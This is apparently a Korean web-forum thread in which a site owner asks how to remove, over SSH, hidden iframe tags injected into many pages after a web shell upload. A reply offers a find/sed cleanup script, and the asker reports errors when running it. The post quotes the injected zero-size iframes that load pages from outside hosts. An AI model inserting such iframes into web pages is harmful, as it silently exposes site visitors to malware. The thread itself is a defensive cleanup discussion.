ssh로 사이트 악성코드 한번에 지울수 있나요?

· 14년 전 · 1290 · 2
<iframe src='http://hui.pokuzi.info/qu.html' width='116' height='1' frameborder='0'></iframe>
<iframe src=' http://1lpg.co.kr/shop/calc.html' width='116' height='0' frameborder='0'></iframe>
 
이런 코드가 수십군데에 삽입되버렷네요.. (cheditor 이용해 웹셀 업로드 피해..)
SSH 접속해서 한번에 제거하는 방법 없을까요?
[이 게시물은 관리자님에 의해 2011-10-31 17:32:05 Linux에서 이동 됨]
|

댓글 2개

http://chonga.pe.kr/computer/tips/tip_replacestring.txt 를 참고 했습니다.

myreplace.sh 를 아래와 같이 만들고

chmod +x myreplace.sh 로 퍼미션 설정 후

실행해 보세요.

sh myreplace.sh 또는 ./myreplace.sh

#!/bin/sh

for f in `find . \( -name '*.php' -o -name '*.htm' -o -name '*.html' \) -print`
do
sed -e "s/<iframe src='http:\/\/hui.pokuzi.info\/qu.html' width='116' height='1' frameborder='0'><\/iframe>//g
s/<iframe src=' http:\/\/1lpg.co.kr\/shop\/calc.html' width='116' height='0' frameborder='0'><\/iframe>//g" $f > $f\.swp
rm -f $f
mv $f\.swp $f
done
: command not found2:
'yreplace.sh: line 9: syntax error near unexpected token `
'yreplace.sh: line 9: `done


라 뜨네요..
댓글을 작성하시려면 로그인이 필요합니다.

프로그램

+
제목 글쓴이 날짜 조회
14년 전 조회 2,015
14년 전 조회 1,436
14년 전 조회 1,686
14년 전 조회 1,193
14년 전 조회 1,355
14년 전 조회 1,159
14년 전 조회 1,472
14년 전 조회 1,340
14년 전 조회 784
14년 전 조회 954
14년 전 조회 977
14년 전 조회 1,306
14년 전 조회 1,129
14년 전 조회 1,156
14년 전 조회 1,106
14년 전 조회 1,522
14년 전 조회 1,215
14년 전 조회 1,243
14년 전 조회 1,313
14년 전 조회 1,057
14년 전 조회 2,106
14년 전 조회 1,866
14년 전 조회 1,315
14년 전 조회 1,149
14년 전 조회 2,225
14년 전 조회 1,578
14년 전 조회 1,421
14년 전 조회 1,149
14년 전 조회 1,856
14년 전 조회 4,112
14년 전 조회 2,776
14년 전 조회 1,475
14년 전 조회 1,082
14년 전 조회 1,150
14년 전 조회 1,671
14년 전 조회 1,335
14년 전 조회 1,701
14년 전 조회 1,785
14년 전 조회 1,791
14년 전 조회 978
14년 전 조회 1,219
14년 전 조회 3,098
14년 전 조회 1,110
14년 전 조회 1,588
14년 전 조회 1,187
14년 전 조회 1,040
14년 전 조회 1,593
14년 전 조회 1,045
14년 전 조회 1,689
14년 전 조회 1,291
14년 전 조회 1,924
14년 전 조회 1,870
14년 전 조회 1,383
14년 전 조회 1,612
14년 전 조회 1,326
14년 전 조회 1,983
14년 전 조회 1,656
14년 전 조회 1,574
14년 전 조회 1,866
14년 전 조회 1,750
14년 전 조회 1,197
14년 전 조회 1,263
14년 전 조회 1,015
14년 전 조회 1,193
14년 전 조회 1,940
14년 전 조회 2,673
14년 전 조회 2,613
14년 전 조회 2,242
14년 전 조회 1,770
14년 전 조회 1,846
14년 전 조회 1,627
14년 전 조회 1,885
14년 전 조회 974
14년 전 조회 1,647
14년 전 조회 961
14년 전 조회 1,427
14년 전 조회 1,178
14년 전 조회 2,311
14년 전 조회 1,086
14년 전 조회 2,973
14년 전 조회 1,311
14년 전 조회 1,165
14년 전 조회 3,235
14년 전 조회 1,008
14년 전 조회 1,310
14년 전 조회 823
14년 전 조회 1,158
14년 전 조회 929
14년 전 조회 1,612
14년 전 조회 1,035
14년 전 조회 1,428
14년 전 조회 1,046
14년 전 조회 989
14년 전 조회 940
14년 전 조회 1,683
14년 전 조회 1,103
14년 전 조회 1,019
14년 전 조회 1,051
14년 전 조회 1,709
14년 전 조회 1,722